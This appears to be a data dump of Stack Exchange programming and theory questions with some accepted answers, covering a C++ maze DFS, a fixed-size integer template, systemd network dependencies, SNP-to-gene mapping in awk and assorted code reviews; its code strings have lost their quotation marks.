 //Close file  fileData.close();}Most critically, here is the implementation of DFS I am using to try to search the maze. The end (goal) of the maze is represented by a $ symbol. Walls are represented as Xs and paths are represented by the blank space ' ' symbol.Basically, it keeps searching until it reaches the goal, starting from position (1,1). It searches in all 4 directions, as long as the direction is not blocked by an obstacle and there is a neighboring unvisited cell; if neither is met, then it backtracks. If the goal is not reached once the stack is empty, then there is no solution. I realize this implementation is again not the most efficient, but I think it is relatively robust and has some additional functionality./*Depth First SearchMaze search starts at r = 1, c = 1*/void Graph::DFS(int r, int c){    //Displays state of maze as it is being solved    //Clears the console screen to make room for an updated display    std::system(cls);    DisplayGraph();    //Pause for 200 milliseconds so user can monitor progression of search    DelayFrame(200);    //If goal is reached, stop    if (maze[r][c] -> GetChar() == goal){        //Declare array to hold 'solution set' for valid path        int stackSize = cellSequence.size();        Cell** solutionSet = new Cell*[stackSize];        //Fill array with path positions        for (int i = 0; i < stackSize; i++)        {            solutionSet[i] = cellSequence.top();            //Remove the topmost cell once it has been added to array            cellSequence.pop();        }        //Write dimensions of maze solved        std::cout << std::endl << # Rows:  << height << std::endl;        std::cout << # Columns:  << width << std::endl;        std::cout << std:: endl << Path Sequence:  << std::endl;        //Display valid path positions in correct order as array elements        for (int j = stackSize - 1; j >= 0; j--)        {            std::cout << ( << solutionSet[j] -> GetRow() << ,  << solutionSet[j] -> GetColumn() << ) -> ;            //Makes the display more optimal for viewing by approximately equalizing display x and y dimensions            int interval = sqrt(stackSize);            if ((stackSize - j) % interval == 0)            {                std::cout << std:: endl;            }        }        //Don't forget position of goal at the end which is not in stack        std::cout << ( << r << ,  << c << ) = $ << std:: endl;        //Delete dynamically allocated array        delete solutionSet;        //Total distance of path is the stack size + 1 for the goal cell        pathDistance = stackSize + 1;        //Writes path length        std::cout << std:: endl << Solved | # Steps in Path:  << pathDistance;        //Writes #cells visited        std::cout << std:: endl <<        | % Cells Visited:         << std::setprecision(4) << cellsVisited / numPaths * 100 <<  (        << cellsVisited <<  /  << numPaths <<  possible path positions);    }    else {        //Otherwise, push current cell to stack        if (maze[r][c] -> GetChar() == path)        {         cellSequence.push(maze[r][c]);         cellsVisited++;        }        //Set current cell as visited and mark it with #times visited - 1 (know how many repeats)        maze[r][c] -> SetChar(maze[r][c] -> GetCounter());        //Increment the number of times visited (prior)        maze[r][c] -> IncrementCounter();        //Goes through all 4 adjacent cells and checks conditions        //Down        if (r+1 < maze.size() && ((maze[r+1][c] -> GetChar() == path) || (maze[r+1][c] -> GetChar() == goal)))        {            r++;            DFS(r, c);        }        //Up        else if ((r-1 > 0) && ((maze[r-1][c] -> GetChar() == path) || (maze[r-1][c] -> GetChar() == goal)))        {            r--;            DFS(r, c);        }        //Right        else if (c+1 < maze[0].size() && ((maze[r][c+1] -> GetChar() == path) || (maze[r][c+1] -> GetChar() == goal)))        {            c++;            DFS(r, c);        }        //Left        else if (c-1 > 0 && ((maze[r][c-1] -> GetChar() == path) || (maze[r][c-1] -> GetChar() == goal)))        {            c--;            DFS(r, c);        }        else        {            //No neighboring cells are free and unvisited, so we need to backtrack            //Sets current cell to obstacle            maze[r][c] -> SetChar(obstacle);            //Remove current (top) cell from stack            cellSequence.pop();            if (cellSequence.empty())            {                //If the stack is empty, there are no neighboring cells that can be used and there is no solution                std::cout << std::endl << No solution: -1;            }            else            {                //Get row and column of last valid cell in stack and use those to resume search                r = cellSequence.top() -> GetRow();                c = cellSequence.top() -> GetColumn();                DFS(r, c);            }        }    }}"  , "title": "Searching a maze using DFS in C++"  , "tags": "c++;recursion;depth first search"  } 
{  "id": "_unix.317041"  , "question": "I have to access a RHEL server form Fedora. They have given me a VPN-URL, RSA SecureID hardware token generator, a user name and a personal password to be used as a prefix for the token key. On Windows I can use these four bits of information in a VPN program to make a VPN connection to the RHEL server. Now I have switched to Fedora 24 from Windows. In Fedora 24 there is a VPN with tabs like: Details, Identity, IPv4, IPv6 and Reset. I cannot see how to enter my hardware token. Any suggestions?"  , "title": "RSA hardware token on a Fedora 24 client to RHEL"  , "tags": "fedora;openvpn;vpn"  } 
{  "id": "_codereview.151543"  , "question": "For some reason or another, I want to have available unsigned integers of sizes other than 1, 2, 4 and 8 (e.g. an unsigned integer with 3 bytes). For most platforms, compilers don't make those available; so - I rolled my own.Other than asking for a general review, I will also pose a few specific questions / requests for guidance.#ifndef UINT_H_#define UINT_H_#include <boost/integer.hpp>#include <climits>#include <ostream>#include <istream>#include <cstring> // for memcpy and memsetnamespace util {/** * A hopefully-fast integer-like class with arbitrary size * * @note Heavily dependent on compiler optimizations... * @note For now, assumes little-endianness * @note For now, limited to small sizes * */template <unsigned N>class uint_t final{    static_assert(N <= sizeof(unsigned long long), Size not supported, for now);public: // types and constants    enum { num_bytes = N, num_bits = N * CHAR_BIT };    using byte = unsigned char;    using value_type = byte[N];    using fast_builtin_type = typename boost::int_t<num_bits>::fast;    using least_builtin_type = typename boost::int_t<num_bits>::least;protected: // data members    value_type value; // Note it is _not_ necessarily alignedpublic: // constructors    uint_t() noexcept = default;    uint_t(const uint_t& x) noexcept = default;    uint_t(uint_t&& x) noexcept = default;protected: // building blocks for converting ctors, assignments and conversion operators    /* The next two methods are buggy, see @Deduplicator's answer */    template <typename I>    uint_t& assign (I x) noexcept    {        if (sizeof(I) < N) {            std::memset(value, sizeof(uint_t) - sizeof(I), 0);        }        std::memcpy(value, &x, N);        return *this;    }    template <typename I>    I as_integer() const noexcept    {        I result;        if (sizeof(I) < N) { result = 0; }        std::memcpy(&result, value, N);        return result;    }    /*     // Alternative for the two above methods,    // following @Deduplicator's answer:    static constexpr size_t min(size_t x, size_t y) { return x < y ? x : y; }    template <typename I>    uint_t& assign(I x) noexcept    {        auto x_bytes = (const byte* const) &x;        for (auto j = 0; j < min(sizeof(I), N); j++) {            value[j] = x_bytes[j];        }        for (auto j = min(sizeof(I), N); j < N; j++) {            value[j] = 0;        }        return *this;    }    template <typename I>    I as_integer() const noexcept    {        I result;        if (sizeof(I) > N) { result = 0; }        auto result_bytes = (byte* const) &result;        for (auto j = 0; j < min(sizeof(I), N); j++) {            result_bytes[j] = value[j];        }        return result;    }    */public: // converting constructors    uint_t(char                x) noexcept { assign<char               >(x); }    uint_t(signed char         x) noexcept { assign<signed char        >(x); }    uint_t(unsigned char       x) noexcept { assign<unsigned char      >(x); }    uint_t(short               x) noexcept { assign<short              >(x); }    uint_t(unsigned short      x) noexcept { assign<unsigned short     >(x); }    uint_t(int                 x) noexcept { assign<int                >(x); }    uint_t(unsigned            x) noexcept { assign<unsigned           >(x); }    uint_t(long                x) noexcept { assign<long               >(x); }    uint_t(unsigned long       x) noexcept { assign<unsigned long      >(x); }    uint_t(long long           x) noexcept { assign<long long          >(x); }    uint_t(unsigned long long  x) noexcept { assign<unsigned long long >(x); }    ~uint_t() = default;public: // operators    uint_t& operator = (const uint_t& other) noexcept = default;    uint_t& operator = (uint_t&& other) noexcept = default;    uint_t& operator = (char                x) noexcept { return assign<char               >(x); }    uint_t& operator = (signed char         x) noexcept { return assign<signed char        >(x); }    uint_t& operator = (unsigned char       x) noexcept { return assign<unsigned char      >(x); }    uint_t& operator = (short               x) noexcept { return assign<short              >(x); }    uint_t& operator = (unsigned short      x) noexcept { return assign<unsigned short     >(x); }    uint_t& operator = (int                 x) noexcept { return assign<int                >(x); }    uint_t& operator = (unsigned            x) noexcept { return assign<unsigned           >(x); }    uint_t& operator = (long                x) noexcept { return assign<long               >(x); }    uint_t& operator = (unsigned long       x) noexcept { return assign<unsigned long      >(x); }    uint_t& operator = (long long           x) noexcept { return assign<long long          >(x); }    uint_t& operator = (unsigned long long  x) noexcept { return assign<unsigned long long >(x); }    uint_t& operator += (const fast_builtin_type& other) noexcept { return *this = as_fast_builtin() + other; }    uint_t& operator -= (const fast_builtin_type& other) noexcept { return *this = as_fast_builtin() - other; }    uint_t& operator *= (const fast_builtin_type& other) noexcept { return *this = as_fast_builtin() * other; }    uint_t& operator /= (const fast_builtin_type& other)          { return *this = as_fast_builtin() / other; }    uint_t& operator += (const uint_t& other) noexcept { return operator+=(other.as_fast_builtin()); }    uint_t& operator -= (const uint_t& other) noexcept { return operator-=(other.as_fast_builtin()); }    uint_t& operator *= (const uint_t& other) noexcept { return operator*=(other.as_fast_builtin()); }    uint_t& operator /= (const uint_t& other)          { return operator/=(other.as_fast_builtin()); }    bool operator == (const uint_t& other) noexcept { return value == other.value; }    bool operator != (const uint_t& other) noexcept { return value != other.value; }public: // conversion operators    operator fast_builtin_type() const noexcept { return as_integer<fast_builtin_type>(); }public: // non-mutator methods    fast_builtin_type as_fast_builtin() const noexcept  { return as_integer<fast_builtin_type>();  }    fast_builtin_type as_least_builtin() const noexcept { return as_integer<least_builtin_type>(); }};// Additional operators which can make do with public memberstemplate <unsigned N> bool operator >  (const uint_t<N>&x, const uint_t<N>& y) noexcept { return x.as_fast_builtin() >  y.as_fast_builtin(); }template <unsigned N> bool operator <  (const uint_t<N>&x, const uint_t<N>& y) noexcept { return x.as_fast_builtin() <  y.as_fast_builtin(); }template <unsigned N> bool operator >= (const uint_t<N>&x, const uint_t<N>& y) noexcept { return x.as_fast_builtin() >= y.as_fast_builtin(); }template <unsigned N> bool operator <= (const uint_t<N>&x, const uint_t<N>& y) noexcept { return x.as_fast_builtin() <= y.as_fast_builtin(); }template <unsigned N> uint_t<N>& operator ++ (uint_t<N>& i) noexcept { return (i += 1); }template <unsigned N> uint_t<N>& operator -- (uint_t<N>& i) noexcept { return (i -= 1); }template <unsigned N>uint_t<N> operator ++ (uint_t<N>& i, int) noexcept{    uint_t<N> result = i;    i += 1;    return result;}template <unsigned N>uint_t<N> operator -- (uint_t<N>& i, int) noexcept{    uint_t<N> result = i;    i -= 1;    return result;}template <unsigned N>std::ostream& operator<<(std::ostream& os, uint_t<N> i) { return os << i.as_least_builtin(); }template <unsigned N>std::istream& operator>>(std::istream& is, uint_t<N> i){    typename uint_t<N>::fast_builtin_type fast_builtin;    is >> fast_builtin;    i = fast_builtin;    return is;}} // namespace util#endif /* UINT_H_ */My questions/requests for guidance:My implementation currently assumes little-endianness. What would you suggest as the 'proper' way to support big-endian platforms? Another template parameter? preprocessor directives? Something else?I've been very cavalier in my treatment of signed integers, since it's not quite clear to me what I should be doing.Should I try and optimize the memcpy() myself? e.g. with a large switch statement over N (the number of bytes), which perhaps also accounts for the alignment or mis-alignment of the data? I was thinking about that and noticed different behavior in different compilers.If I specialize std::numeric_limits for this class - what should I set traps to?"  , "title": "A template-fixed-size unsigned integer class"  , "tags": "c++;template"  } 
{  "id": "_unix.360757"  , "question": "With SystemD, how can I make certain services dependent on certain network interfaces being up?For example, let's say I have an 802.1ad bond interface I need to wait on for access to my SAN/NAS before I bring up libvirtd, even though I may have network access available via a different interface. Or let's say I have an sshfs mount I want to come up automatically (and be torn down automatically) dependent on a VPN connection?What's the idiomatic way to handle fine-grained dependencies on network interfaces?At present, I'm using NetworkManager on Ubuntu and CentOS7, but I'm open to other platform-appropriate mechanisms for managing network state."  , "title": "How do I make certain services dependent on certain interfaces?"  , "tags": "centos;systemd;networkmanager"  , "accepted_answer": "There isn't really a standard built in way I don't think, but there are a few things you can leverage in systemd.ExecStartPre=Additional commands that are executed before [...] the command in ExecStart=, respectively. Syntax is the same as for ExecStart=, except that multiple command lines are allowed and the commands are executed one after the other, serially.If any of those commands (not prefixed with -) fail, the rest are not executed and the unit is considered failed.Restart=on-failureConfigures whether the service shall be restarted when the service process exits, is killed, or a timeout is reached.If set to on-failure, the service will be restarted when the process exits with a non-zero exit code, is terminated by a signal (including on core dump, but excluding the aforementioned four signals), when an operation (such as service reload) times out, and when the configured watchdog timeout is triggered.Commands are considered to have failed if they return non-zero exit codes, so by setting the ExecStartPre to something that proves your interface is up you can be sure your service will require it.Some examples:ExecStartPre=/usr/bin/ping -c 1 ${SAN_IP}ExecStartPre=/usr/sbin/iscsiadm -m sessionI personally like the iscsiadm variant for your use case. If there are iscsi connections the return value is 0, otherwise it returns 21 (which would cause the service to fail). The ping variant can work for a larger variety of uses, but I would say in most cases you may want to find a more suitable command to check network status. You could even try using ssh if you have keys setup to check things on another host.The point is that ExecStartPre can let you make your service fail based on any commands. Just check to make sure that any command you use will return non-zero exit codes when you want it to (for example cating an empty file returns 0, whereas cating a non-existent file returns 1)After some consideration and the asker's comment, I would say the best way to define a complex condition for a service is to create another service for it to depend on.Create a new service that uses the command to check status as the ExecStart. Give it the Restart=on-failure. Then make your original service Require and After it. The ExecStartPre example I used above is sort of twisting its original purpose, which was to set things up for the service to run properly. It can still apply and the knowledge is still useful so I'm leaving it intact."  } 
{  "id": "_softwareengineering.100127"  , "question": "I have been studying Scala, but what I keep running into is the optimization of syntax.  I'm sure that will be great when I am an expert, but until then.. Not so much.Is there a command or a program that that would add back in all/most of the code that was optimized away? Then I would be able to read the examples, for example."  , "title": "How do I view Scala code without all the syntactic sugar?"  , "tags": "syntax;scala"  } 
{  "id": "_codereview.173319"  , "question": "Is it possible to have an if condition with curly brackets and else conditions without brackets? Also what is the good practice to format it , should there be a new line after else keyword?if (!String.IsNullOrEmpty(CssClass)){    fuDocumentUploader.CssClass = CssClass;    CssClass = null;}else txtDocumentUploadLink.Text = string.Empty;"  , "title": "If and else without curly brackets"  , "tags": "c#;javascript;.net;asp.net"  } 
{  "id": "_unix.338753"  , "question": "I have the following data set about the snps ID  POS ID        78599583    rs987435    33395779    rs345783    189807684   rs955894    33907909    rs6088791    75664046    rs11180435    218890658   rs17571465    127630276   rs17011450    90919465    rs6919430and a gene reference filegenename    name    chrom   strand  txstart txendCDK1    NM_001786   chr10   +   62208217    62224616CALB2   NM_001740   chr16   +   69950116    69981843STK38   NM_007271   chr6    -   36569637    36623271YWHAE   NM_006761   chr17   -   1194583 1250306SYT1    NM_005639   chr12   +   77782579    78369919ARHGAP22    NM_001347736    chr10   -   49452323    49534316PRMT2   NM_001535   chr21   +   46879934    46909464CELSR3  NM_001407   chr3    -   48648899    48675352I'm trying to match the genes with the SNps location, so include the snps that has POS >= txstart and POS<= txendfor example I want a data set that has the following columnsgenename   SNPID   chrom   position   txstart   txend"  , "title": "how to map snps to ref gene file"  , "tags": "linux"  , "accepted_answer": "As far as I can see, your sample files do not contain any matches of the kind you describe.If we modify the first file toCHROM  POS ID   chr7    78599583    rs987435chr15   33395779    rs345783chr1    189807684   rs955894chr20   33907909    rs6088791chrx    1234567     rsMadeUpchr12   75664046    rs11180435chr1    218890658   rs17571465chr4    127630276   rs17011450chr6    90919465    rs6919430such that the made-up entry falls in the range genename    name    chrom   strand  txstart txendCDK1    NM_001786   chr10   +   62208217    62224616CALB2   NM_001740   chr16   +   69950116    69981843STK38   NM_007271   chr6    -   36569637    36623271YWHAE   NM_006761   chr17   -   1194583 1250306SYT1    NM_005639   chr12   +   77782579    78369919ARHGAP22    NM_001347736    chr10   -   49452323    49534316PRMT2   NM_001535   chr21   +   46879934    46909464CELSR3  NM_001407   chr3    -   48648899    48675352thenawk '    NR == FNR && FNR > 1 {snp[$2]=$3; next}     FNR > 1 {      for (p in snp) {if (p>=$5 && p<=$6) print $1, snp[p], $3, p, $5, $6}    }  ' snpsid generef YWHAE rsMadeUp chr17 1234567 1194583 1250306"  } 
{  "id": "_cstheory.27347"  , "question": "Scott Aaronson said in the paper entitled Why Philosophers Should Care About Computational Complexity (Please see ECCC Report: TR11-108, section 7, pp 25-31):Following the work of Kearns and Valiant, we now know that many  natural learning problems  as an example, inferring the rules of a  regular or context-free language from random examples of grammatical  and ungrammatical sentences  are computationally intractable.My question is: Which factors make the problem of inferring the grammar difficult? Is the introducing random examples of ungrammatical sentences? If so, what would happen if the condition of random examples of grammatical and ungrammatical sentences is replace with random examples of grammatical sentences with probability p>0 and random examples of ungrammatical sentences with probability 1-p?"  , "title": "Which factors make the problem of inferring the grammar difficult?"  , "tags": "cc.complexity theory;lg.learning;grammars;philosophy"  } 
{  "id": "_cs.23980"  , "question": "The principle (called a LwenheimSkolem theorem by Huth and Ryan) statesLet $\\phi$ be a sentence of predicate logic such that for any natural  number $n \\geq 1$, there is a model of $\\phi$ with at least $n$  elements. Then $\\phi$ has a model with infinitely many elements.IMO, it basically states that if you can always name a number larger than mine arbitrary natural number then your model is infinite. What needs to be proven here? There are no other options obviously for any school kid.PS The answers state that there is a difference between having infinite amount of models and single infinite model. But this is similarly stupid. At first, I do not see whether I claim that I have a single infinite model or approach it by having all denumerable models. Secondly, it does not matter since in any case you should have an infinite model in order to respond to any natural number.Nevertheless, I started to understand why people (mistakenly) ask me to differentiate between infinite amount of models and models of infinite size. They fail to recognize that principle The fact that I can always name a number larger than yours implies that we have an infinite model/set, which is intuitive and used to prove the overspill theorem, also implies that the model of infinite size exists. The set of models $A = \\{M_k, M_l, M_m \\ldots\\}$ has sizes $S = \\{k, l, m, \\ldots\\}$ correspondingly. When you speak about size of models, you basically speak of the numbers in $S$. When you say a model of size n you just say n. Thus, we can forget about set of models and speak only about S. Now, you say that whatever integer you have, set S contains a larger one. This basically means that S contains an infinite number (i.e. $A$ contains infinite models). What to be proven here? In other words, what is the point of expanding $\\phi$ with infinite set $\\{I_1, I_2, \\ldots\\}$ in the proof and applying the Compactness theorem? This says that there is an infinite model. But this is obvious without even without it, right from the the premise of the overspill principle."  , "title": "What is the point of (Compactness theorem in the) Overspill principle?"  , "tags": "sets;first order logic"  } 
{  "id": "_unix.308042"  , "question": "Before I start I'm not asking for any code to be written just to enlighten and the behavior I am having. I have this snippet of code. NOW=$(date +%H)While [ true ]; do echo $NOWdoneI would of expected so that when it would be printed to the screen the time would update since I am storing the date command and formatting it into the variable NOW , but instead all it does is keep printing the same date that the script was started at. Will someone enlighten me on why it does that. "  , "title": "Variable Behavior"  , "tags": "shell script;date"  } 
{  "id": "_codereview.58869"  , "question": "I have class House and module Lockable.  Locking and unlocking House should reflect the real world, so you can't lock twice.Do you think this is a good approach to using a module and raising an exception?module Lockable  attr_reader :locked  def lock!    raise StandardError, Already locked if @locked == true    @locked = true  end  def unlock!    raise StandardError, Already unlocked if @locked == false    @locked = false  endendclass House  include LockableendUsage:house = House.newhouse.lock!house.unlock!house.unlock! # raise an exception"  , "title": "Good approach to raise an exception"  , "tags": "ruby;locking;exception"  , "accepted_answer": "I would define domain specific error classes like so:module Lockable  Error           = Class.new StandardError  AlreadyLocked   = Class.new Error  AlreadyUnlocked = Class.new Error  def lock!    raise AlreadyLocked if locked?    @locked = true  end  def unlock!    raise AlreadyUnlocked unless locked?    @locked = false  end  def locked?    # unless already defined, this assumes an    # initial unlocked state (!!nil == false)    !!@locked  endendBy having a common ancestor (LockedError), users can simply catch that one if they don't care about the inner state of the lockable object:begin  house.lock!  house.lock!rescue Lockable::Error  # meh...rescue StandardError  # $! needs handlingendOn the other hand, if I try to lock an already locked lock, the key just won't move (and the lock doesn't blow up in my face). So, a more realistic reflection of the world would be this implementation:module Lockable  def lock!    @locked = true  end  def unlock!    @locked = false  endend"  } 
{  "id": "_unix.164913"  , "question": "Is there a CLI utility to search your gmail account?  Perhaps by opening your default browser to gmail.com and placing implementing your search?"  , "title": "CLI Utillity to search your gmail account"  , "tags": "email"  } 
{  "id": "_unix.25273"  , "question": "I am developing an x-server implementation, and I want to make it as similar to the current one as possible.  I read through the documentation, but I couldn't find anything specific. In particular, I'm trying to find a numbering scheme for windows. It seems to me that this is implementation specific.Either way, I found this concerning window ids:The most significant 11 bits of the XID indicate the client, leaving 21 bits for each client, giving each client 2^21 (= 2,097,152) XIDs.I've read elsewhere that the max x-clients is 255: here and here.Is there any clear documentation on how windows should be numbered?"  , "title": "What is the max number of x-clients?"  , "tags": "x11;window;x server"  , "accepted_answer": "Cygwin X Faq states that they use getdtablesize :Cygwin/X queries getdtablesize() for the maximum number of client  connections allowed; by default Cygwin returns 32 from  getdtablesize(). Cygwin/X Server Test Series release Test44, released  on 2001-08-15, changed the maximum number of clients from 32 to 1024  by passing the square of getdtablesize() to setdtablesize().Mac OS X X Source Code has an hard definition in include/xorg/misc.h :#define MAXCLIENTS 256Some Old Unixes and RHEL > 4 are able to set it at runtime :-maxclients           64|128|256|512 Set the maximum number  of  clients  allowed  to           connect to the X server.  Acceptable values are 64, 128, 256 or           512.X.org Server Source Code, Virtual Box X source code and some others share it. Of course, as it is free software, Debian & Red Hat can change it and has raise it to 512. So I guess that you can take as an hint that it should be between 256 and 512 on all modern computers. As far as I know, the only way to know it is when you receive the Cannot connect to X error.  BTW, numbering of xclient has 11 bits. Numbering and max clients are different issues. You can see numbering of each window with xlsclient -l."  } 
{  "id": "_codereview.31578"  , "question": "I've played with jQuery for some time now but have never written my own plugin.A question was asked: can I blur an image using jQuery? and I thought this to be a decent candidate to play with.Here's my code so far:(function ($) {    $.fn.blurStuff = function (options) {        var defaults = {blurRadius:2, deblurOnHover:false};        var settings = $.extend(defaults, options);        $(this).wrap('<div data-blurimage />');        var blurContainers = $(this).closest('[data-blurimage]');        blurContainers.each(function () {            var img = $(this).children();            $(this).css({                'width': img.width(),                'height': img.height(),                'overflow': 'hidden',                'position': 'relative'            });            var clone = img.clone();            clone.css({                'opacity': 0.2,                'position': 'absolute'            });            $(this).append(clone.clone().css({'left': +settings.blurRadius, 'top': +settings.blurRadius}));            $(this).append(clone.clone().css({'left': -settings.blurRadius, 'top': +settings.blurRadius}));            $(this).append(clone.clone().css({'left': +settings.blurRadius, 'top': -settings.blurRadius}));            $(this).append(clone.clone().css({'left': -settings.blurRadius, 'top': -settings.blurRadius}));        });        if (settings.deblurOnHover == true) {            blurContainers.hover(function () {                $(this).children('img:gt(0)').toggle();            });        }        return blurContainers;    };})(jQuery);In action: http://jsfiddle.net/gvee/xvvWj/Example usage:$('img').blurStuff({deblurOnHover: true, blurRadius: 2});My working logic is to wrap the selector in a parent container and then append 4 translucent clones to this, where each clone is positioned slightly off centre.This works pretty well so far and I'm pleased with my progress but I can conceive a couple of potential bugs that I wanted some opinions on!Is my approach reasonable? I realise that I'm appending an extra 4 elements to the DOM on each call which is not ideal (I could get away with using just two, laterally or diagonally, but I think 4 produces a better effect)...What to do if a user passes a fixed position element? This will break existing flow.Should I bother validating/sanity checking the parameter values? If so, how should I approach this? Previously I had a parameter called blurOpacity but I removed this because I realised that the wrong values (e.g. 1) effectively breaks things."  , "title": "My first jQuery plugin - blurStuff()"  , "tags": "javascript;jquery;plugin"  } 
{  "id": "_cstheory.16947"  , "question": "I guess the question is does an 'infinite' number of patterns imply 'every' number of  patterns?For instance, if you could quickly calculate the decimal sequence of , could you not (in theory of course) come up with an algorithm to search that sequence for some pre-determined sequence?Then you could do this:start = findInPi(sequence)So sequence in theory could be a decimal representation of the movie The Life of Pi.  The implication is that all digital knowledge (past, present and future) is bound up in irrational numbers (not just the group of irrational numbers, but each irrational number), and we just need to know the index to pull data out.Once you know the index and length of data, then  you could simply pass this long.  playMovie(piSequence(start, length))From an encryption standpoint, you could pass the start, length pair around, and the irrational number would be known only by the private key holder.Am I off base here?"  , "title": "Do irrational number contain infinate/every patterns of sequences?"  , "tags": "ds.algorithms;soft question;homomorphic encryption"  } 
{  "id": "_cs.48537"  , "question": "The Toffoli gate takes in three inputs and gives out three outputs, and is often referred to as the quantum AND gate.It takes in a,b,c and gives out a, b, c XOR (a AND b).Why does it do that, instead of just giving out a,b,b AND c?  or a,b,(a AND b)?"  , "title": "Why does the Toffoli gate output c XOR (a AND b) instead of just a AND b?"  , "tags": "quantum computing"  , "accepted_answer": "As the comments said, if it worked like i asked, it would neither be reversible, nor a unitary matrix.Both things are required for quantum computing!"  } 
{  "id": "_softwareengineering.200612"  , "question": "I am about to embark on a redesign of an application, one where querying the database is particularly annoying. I intend to redesign the database as much as possible but the data shape cannot change too much.The  database has a main table and 10 other tables each representing a record type. The main table has all of the data the record types have in common. Record ID, DateLogged etc. Around 30-40 columns in total.  The other tables are all completely different as each record type is very different from another. They all have about 20-30 columns each.The main table has a column called type, which is an int. However nowhere does it reference what record types the type numbers refer to. You can just figure it our by looking at the procedures. The main table has to join with each type table to allow searching. I have added an image representing what I am trying to describe.Is there a better way to create these relationships? I would like to ditch the verbose stored procs used with ADO.NET and move to EF. I need to think of a better way to relating the data so people in the future wont need to work out the relationships by scouring stored procedures for clues."  , "title": "Database Design - Optimise Relationships"  , "tags": "database;database design;sql server;relationships"  , "accepted_answer": "Add a Type table.TypeID     PKType       stringChange Type in Main to TypeID, making it a Foreign Key to the Type table TypeID.Where you go from here depends on how distinct each type is.  If the only distinction is that the fields vary somewhat between types, and there are only a few types, you might get away with having a single Types table, adding a TypeID to it, and putting every field for every type in each record (with the understanding that some fields are going to be empty for every record).If the types are very distinct, you can keep your current design, but add TypeID to each of the Type tables."  } 
{  "id": "_codereview.40849"  , "question": "My question concerns the following Python code which is already working. As far as I have seen, there are very elegant solutions of compacting code. Do you have any ideas on how to make the following code look smoother? mom = [0.,0.13,0.27,0.53,0.67]strings = ['overview_files/root/file_' + str(e) for e in mom] myfile = [np.loadtxt(s) for s in strings]nbinp = len(mom)nbinomega = len(myfile[0][:,0])x, y, z = (np.empty(nbinp*nbinomega) for i in range(3))for i in range(nbinomega):  for j in range(nbinp):    i_new = i + j*nbinomega    y[i_new] = myfile[j][i,0] - 1.4    x[i_new] = mom[j]    z[i_new] = myfile[j][i,1]"  , "title": "Prepare data for a contour plot with matplotlib"  , "tags": "python;numpy;matplotlib"  , "accepted_answer": "You may want to follow PEP8 a bit more closely to learn how to write code that is easily understood by most Python developers. Eg. mom = [0.3, 0.13] instead of mom = [0.3,0.13] and four spaces indentation.Try to be more careful about variable names. I couldn't understand what most of them meant, which is probably because I don't much about the code you're writing. But think about your readers (including you in three months) and wonder what are the best ways to convey information in your variable names. For example, 'myfile'  suggest that this is not a collection. And 'my' doesn't provide any useful information.There's a common idiom in Python to avoid dealing with ranges explicitely: enumerate().for i, this in enumerate(myfile):    for j, that in enumerate(myfile[i]):        i_new = ...        y[i_new] = ...        x[i_new] = ...        z[i_new] = ...If you often deal with ranges, it will certainly help you at some point."  } 
{  "id": "_codereview.28622"  , "question": "I am trying to return a value (a.tnAddress) from a custom class based on a lookup (foreach loop).  Depending on the type of transaction, I will need to do the foreach loop based on different properties (sExecID, iMsgSeqNum, orsClOrderID).  I prefer to not have 3 differentforeach` loops just but I am not sure how else to re-write this.Keep in mind that the code is working fine; I just want to simplify it.private TreeNode GetNodeAddress(cls_Transactions trPassedInTransaction){      switch (trPassedInTransaction.sMessageType)    {        case Q:        case 8b:            foreach (cls_Transactions a in cls_GlobalVariables.transList)            {                if (trPassedInTransaction.sExecID == a.sExecID)                {                    return a.tnAddress;                }            }            break;        case 3:            foreach (cls_Transactions a in cls_GlobalVariables.transList)            {                if (trPassedInTransaction.iMsgSeqNum == a.iMsgSeqNum)                {                    return a.tnAddress;                }            }            break;        default:            foreach (cls_Transactions a in cls_GlobalVariables.transList)            {                if (trPassedInTransaction.sClOrderID == a.sClOrderID)                {                    return a.tnAddress;                }            }                                break;    }    return null;}"  , "title": "Returning a value based on a lookup"  , "tags": "c#;lookup"  , "accepted_answer": "This will add the use of LINQ to clean up the code the way you want:private TreeNode GetNodeAddress(cls_Transactions trPassedInTransaction){    //a predicate to pass to the FirstOrDefault method    Func<cls_Transactions,Boolean> filter = null;    switch (trPassedInTransaction.sMessageType)    {        case Q:        case 8b:                 filter = x => trPassedInTransaction.sExecID == x.sExecID;            break;        case 3:                 filter = x => trPassedInTransaction.iMsgSeqNum == x.iMsgSeqNum;            break;        default:                 filter = x => trPassedInTransaction.sClOrderID == x.sClOrderID;                             break;    }    cls_Transactions result = cls_GlobalVariables.transList.FirstOrDefault(filter);    return result != null ? result.tnAddress : null;}As an explanation, the switch statement has just been converted to use a predicate, which is a function type where it passes one parameter (in this case a cls_Transactions) and returns true/false.The FirstOrDefault method is shorthand for the foreach loop and return, foreach-ing through the elements and using the predicate to determine if it meets the required condition, if none meet the required condition it will return a default value (in the case null).You can use the First method also, which will throw an exception if nothing is found :)"  } 
{  "id": "_webmaster.61461"  , "question": "If I have a domain like http://example.com/ which would be the best to use for every new project I create. Would it be a subdomain http://exampleprojectname.example.com/ or a new domain http://exampleprojectname.com/ or a new folder http://example.com/exampleprojectname. Which one would be the best and good for seo."  , "title": "New domain vs Subdomain vs new Folder for each new project"  , "tags": "seo"  } 
{  "id": "_cs.74142"  , "question": "I have been studying unification, especially nominal unification (paper) gets my attention.I read the theory and examples. But I am wondering that what kind of problems occur in unifications.For examples, The following examples are from nominal unification paper. (I write distinct bound variables, so easier to see the solutions )(1) $\\lambda a. \\lambda b. (X  \\, b) = \\lambda c. \\lambda d. (d \\,X) $(2) $\\lambda a. \\lambda b. (X \\, b) = \\lambda c. \\lambda d. (d \\, Y) $(3) $\\lambda a. \\lambda b. (b  \\, X) = \\lambda c. \\lambda d. (d \\, Y) $I observed that each variable ($X$ or $Y$) occurs only once on one side of equations.Should it be always that way?Can I write the following(4) $\\lambda a. \\lambda b. (X  \\, X) = \\lambda c. \\lambda d. (d \\,X) $(5) $\\lambda a. \\lambda b. (Y  \\, X) = \\lambda c. \\lambda d. (d \\,X) $(6) $\\lambda a. \\lambda b. (X  \\, X) = \\lambda c. \\lambda d. (X \\,X) $and are these possible unification problems?I read many sources, but and all presented unification problems with variables only have once occurrences on one side of equations.I tried to find more examples, but could not find anything different.I know the unification problems arise from logic programming. And so far, I did not see any logic programs which puts $X$ twice in a term.Anyway, hoping someone to clarify these points. Thanks in advance!"  , "title": "Are these examples of unification problems?"  , "tags": "logic;unification"  , "accepted_answer": "Yes, the variables can occur more than once in a term.  Either way you end up with a system of equations.  For plain unification, you can always have the unification variables be distinct and then add equations to unify them separately.  That is, you can turn $\\mathtt{p}(X,X) = \\mathtt{q}(\\mathtt{a},\\mathtt{b})$ into 